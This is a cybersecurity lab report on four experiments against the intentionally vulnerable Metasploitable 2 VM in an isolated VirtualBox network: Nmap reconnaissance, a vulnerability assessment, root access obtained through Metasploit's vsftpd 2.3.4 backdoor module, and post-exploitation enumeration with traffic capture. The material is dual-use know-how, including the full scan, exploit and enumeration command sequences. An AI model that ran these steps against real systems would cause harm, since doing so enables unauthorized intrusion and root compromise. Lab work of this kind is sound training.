KALI METASPLOIT LAB

Network Reconnaissance, Vulnerability Assessment,
Controlled Exploitation and Traffic Analysis

Project Type	Cybersecurity Practical Lab
Attacker Machine	Kali Linux
Target Machine	Metasploitable 2
Virtualization	Oracle VirtualBox
Network	Host-Only Network
Target IP	192.168.56.101

Combined report of four practical experiments

Project Overview

This report documents a four-stage cybersecurity lab conducted using Kali Linux and the intentionally vulnerable Metasploitable 2 virtual machine. The experiments cover network reconnaissance, vulnerability assessment, controlled exploitation, and post-exploitation system and traffic analysis.

Lab Safety and Scope

All activities described in this report are intended for the isolated Host-Only VirtualBox lab using the specified Metasploitable 2 target. The commands and techniques should only be used on systems for which explicit authorization has been granted.

Experiments Included

- Experiment 01: Network Reconnaissance Using Nmap
- Experiment 02: Vulnerability Assessment
- Experiment 03: Controlled Exploitation
- Experiment 04: Post-Exploitation and Traffic Analysis

Note: The report text is based on the experiment descriptions supplied. Screenshots and raw output files were not embedded because they were not attached with the text.

Experiment 01: Network Reconnaissance Using Nmap

1. Objective

To perform network reconnaissance on an intentionally vulnerable target machine using Nmap and identify its open ports, running services and versions.

2. Lab Environment

- Attacker Machine: Kali Linux
- Target Machine: Metasploitable 2
- Virtualization: Oracle VirtualBox
- Network Configuration: Host-Only Adapter
- Target IP: 192.168.56.101
- Tool Used: Nmap 7.95

3. Methodology

- Identified the IP addresses of both virtual machines.
- Checked connectivity between Kali Linux and Metasploitable 2.
- Performed a basic port scan using Nmap.
- Identified running services and their versions.
- Used default Nmap scripts to collect additional information.
- Saved the scan output for documentation and analysis.

4. Commands Used

```
ip -br addr
ifconfig
ping -c 4 192.168.56.101
nmap 192.168.56.101
nmap -sV 192.168.56.101
nmap -sC -sV 192.168.56.101 -oN nmap-scan.txt
```

5. Observations

- The target machine was reachable at 192.168.56.101.
- Nmap identified 23 open TCP ports among the default 1,000 scanned ports.
- Multiple services were detected, including FTP, SSH, Telnet, HTTP, SMB, MySQL and PostgreSQL.
- Anonymous FTP login was permitted on port 21.
- Several outdated services and protocols were identified.
- Port 1524 was identified as a Metasploitable root shell.
- The SMTP service supported the deprecated SSLv2 protocol.
- Nmap collected information about the target system and its network services.

6. Results

The reconnaissance scan successfully identified the target machine and detected 23 open TCP ports. Service and version detection provided information about the applications running on these ports.

The results revealed several potential security weaknesses, including anonymous FTP access, outdated services, legacy protocols and an exposed bind shell.

These findings will be investigated further during the vulnerability assessment phase.

7. Conclusion

The network reconnaissance experiment was successfully completed using Nmap. The scan provided an overview of the target machine's exposed network services and potential security weaknesses. The collected information will be used in the next phase of vulnerability assessment.

8. Evidence

Evidence screenshots and the original Nmap scan output are stored in the project folders.

Experiment 02: Vulnerability Assessment

1. Objective

To identify and assess potential vulnerabilities in the Metasploitable 2 virtual machine using Nmap scripts and SearchSploit. The experiment focuses on identifying vulnerable services, insecure configurations, and publicly documented security issues.

2. Lab Environment

- Attacker Machine: Kali Linux
- Target Machine: Metasploitable 2
- Virtualization: Oracle VirtualBox
- Network Configuration: Host-Only Network
- Attacker IP: 192.168.56.102
- Target IP: 192.168.56.101
- Tools Used: Nmap, SearchSploit

3. Methodology

- Prepared a directory to store vulnerability assessment results.
- Used SearchSploit to search for publicly documented vulnerabilities associated with vsftpd 2.3.4.
- Used Nmap FTP scripts to check anonymous login access and FTP server information.
- Searched for known Samba vulnerabilities and examined SMB security configurations.
- Searched for UnrealIRCd vulnerabilities and identified the service version.
- Examined the service running on port 1524.
- Performed a targeted Nmap vulnerability scan on selected open ports.

4. Commands Used

FTP Assessment

```
searchsploit vsftpd 2.3.4
nmap -p 21 --script ftp-anon,ftp-syst 192.168.56.101
```

Samba Assessment

```
searchsploit samba 3.0.20
nmap -p 139,445 --script smb-os-discovery,smb-security-mode,smb-enum-shares 192.168.56.101
```

UnrealIRCd Assessment

```
searchsploit UnrealIRCd
nmap -sV -p 6667 192.168.56.101
```

Bind Shell Assessment

```
nmap -sV -p 1524 192.168.56.101
```

Targeted Vulnerability Scan

```
nmap --script vuln -p 21,22,23,25,80,139,445,1524,3306,5432,6667,8180 192.168.56.101
```

5. Observations

- FTP service was found running on port 21.
- Anonymous FTP login was permitted.

- The FTP service identified itself as vsftpd 2.3.4.
- FTP control and data connections were reported as unencrypted.
- SearchSploit was used to identify publicly documented vulnerabilities associated with selected services.
- SMB services on ports 139 and 445 were examined for security configuration and share information.
- UnrealIRCd running on port 6667 was investigated.
- Port 1524 was examined to identify the service running on it.
- Nmap vulnerability detection scripts were used to check selected services for potential security issues.

6. Results

The vulnerability assessment identified insecure service configurations, including anonymous FTP access and unencrypted FTP communication.

SearchSploit provided references to publicly documented security issues associated with the selected services. Additional Nmap scripts were used to examine FTP, SMB, IRC, and other exposed services.

These findings indicate potential security weaknesses that require further validation through controlled testing.

7. Conclusion

The vulnerability assessment successfully identified potential weaknesses in the Metasploitable 2 target system. The experiment demonstrated how Nmap and SearchSploit can be used to investigate exposed services, insecure configurations, and known vulnerability references.

The identified findings will be used as a basis for the next experiment, which focuses on controlled exploitation in the isolated lab environment.

8. Evidence

Screenshots and raw command outputs are stored in the project folders:

Screenshots/vulnerability-assessment/
Results/vulnerability-assessment/

The evidence includes FTP assessment, SearchSploit results, SMB assessment, IRC version detection, bind-shell service detection, and the targeted vulnerability scan.

Experiment 03: Controlled Exploitation

1. Objective

To perform controlled exploitation of an identified vulnerability in the Metasploitable 2 virtual machine using the Metasploit Framework and verify whether unauthorized access can be obtained.

2. Lab Environment

- Attacker Machine: Kali Linux
- Target Machine: Metasploitable 2
- Virtualization: Oracle VirtualBox
- Network Configuration: Host-Only Network
- Attacker IP: 192.168.56.102
- Target IP: 192.168.56.101
- Tools Used: Metasploit Framework

3. Methodology

- Started the Metasploit Framework console.
- Searched for an exploit associated with vsftpd 2.3.4.
- Selected the vsftpd_234_backdoor exploit module.
- Examined the module information and required options.
- Configured the target IP address and FTP port.
- Executed the exploit against the isolated Metasploitable 2 machine.
- Established a command shell session.
- Executed basic system identification commands to verify the access obtained.

4. Commands Used

Starting Metasploit

```
msfconsole -q
```

Searching for and selecting the exploit

```
search vsftpd 2.3.4
use exploit/unix/ftp/vsftpd_234_backdoor
```

Examining module information

```
info
show options
```

Configuring the target

```
set RHOSTS 192.168.56.101
set RPORT 21
```

Saving console output

```
spool /mnt/controlled-exploitation/metasploit-exploit.txt
```

Executing the exploit

```
run
```

Verifying access

```
whoami
id
hostname
uname -a
pwd
```

Stopping output recording

```
spool off
```

5. Observations

- The Metasploit module detected that the backdoor listener was already open.
- The exploit successfully identified a command shell.
- A command shell session was established between Kali Linux and Metasploitable 2.
- The whoami command returned root.
- The id command confirmed UID 0 and GID 0.
- The target hostname was identified as metasploitable.
- The operating system information was obtained using uname -a.
- The current working directory was identified as /.

6. Results

The controlled exploitation was successful. The vsftpd 2.3.4 backdoor allowed Metasploit to establish a command shell session on the target system.

The session provided root-level access, confirmed by the output:

uid=0(root) gid=0(root)

The successful exploitation demonstrates the security risk associated with the vulnerable FTP service and the possibility of unauthorized administrative access.

7. Conclusion

The experiment successfully demonstrated controlled exploitation using the Metasploit Framework. A command shell session with root privileges was obtained on the intentionally vulnerable Metasploitable 2 machine.

This experiment demonstrated how an identified vulnerability can lead to complete system compromise. It also highlighted the importance of updating vulnerable services, removing backdoors, and restricting unnecessary network services.

8. Evidence

The following evidence is stored in the project folder:

Metasploit exploit search results; selected exploit module information; configured target IP and port; successful exploit execution output; root shell verification commands; Metasploit console output file: metasploit-exploit.txt.

Experiment 04: Post-Exploitation and Traffic Analysis

1. Objective

To perform basic post-exploitation analysis on the Metasploitable 2 virtual machine and examine network traffic generated during communication between Kali Linux and the target system.

2. Lab Environment

- Attacker Machine: Kali Linux
- Target Machine: Metasploitable 2
- Virtualization: Oracle VirtualBox
- Network Configuration: Host-Only Network
- Attacker IP: 192.168.56.102
- Target IP: 192.168.56.101
- Tools Used: Metasploit Framework, tcpdump, Wireshark, Nmap

3. Methodology

A. Post-Exploitation Analysis

- Checked the availability of the previously established Metasploit session.
- Established a new command shell session when the previous session was unavailable.
- Executed system identification commands.
- Examined user privileges, operating system information, network configuration, running processes and listening ports.
- Saved the command output for documentation.

B. Network Traffic Analysis

- Identified the active Kali network interface.
- Started packet capture using tcpdump.
- Generated ICMP traffic using ping.
- Generated TCP traffic using Nmap.
- Saved the captured packets in PCAP format.
- Examined the captured traffic using tcpdump and Wireshark.
- Applied display filters to inspect relevant network packets.

4. Commands Used

Post-Exploitation Commands

```
whoami
id
hostname
uname -a
pwd
ip addr
ip route
cat /etc/issue
ps aux
netstat -tuln
```

Network Traffic Analysis Commands

```
ip -br addr
sudo tcpdump -i any -nn host 192.168.56.101 -w /mnt/post-exploitation-traffic-analysis/lab-traffic.pcap
ping -c 4 192.168.56.101
nmap -sT -p 21,22,80,445,6667 192.168.56.101
sudo tcpdump -nn -r /mnt/post-exploitation-traffic-analysis/lab-traffic.pcap
wireshark /mnt/post-exploitation-traffic-analysis/lab-traffic.pcap
```

5. Observations

- The Metasploit command shell was used to inspect the target system.
- System identification commands were executed to examine the target's identity and operating system.
- Network interface and routing information were examined.
- Running processes and listening network ports were inspected.
- Network packets were captured using tcpdump.
- ICMP traffic was generated using ping.
- TCP traffic was generated using Nmap.
- The saved packet capture was examined using Wireshark and relevant display filters.

6. Results

Post-exploitation enumeration commands were used to gather information about the target system, including user privileges, operating system details, network configuration and running processes.

Network traffic was captured and saved in PCAP format. The captured packets were examined using tcpdump and Wireshark to study communication between the Kali Linux attacker machine and the Metasploitable 2 target.

The experiment demonstrated how system enumeration and network traffic analysis can help understand activities performed during and after a security compromise.

7. Conclusion

The experiment demonstrated basic post-exploitation enumeration and network traffic analysis in an isolated virtual lab environment.

System information was collected through the established command shell, while tcpdump and Wireshark were used to capture and inspect network communication.

These activities highlighted the importance of monitoring system activity, analyzing network traffic and identifying suspicious communication during security investigations.

8. Evidence

The following evidence is stored in the project folders:

Post-exploitation command output; system and network information screenshots; running process and listening port information; tcpdump packet capture output; PCAP file containing captured network traffic; Wireshark packet analysis screenshots.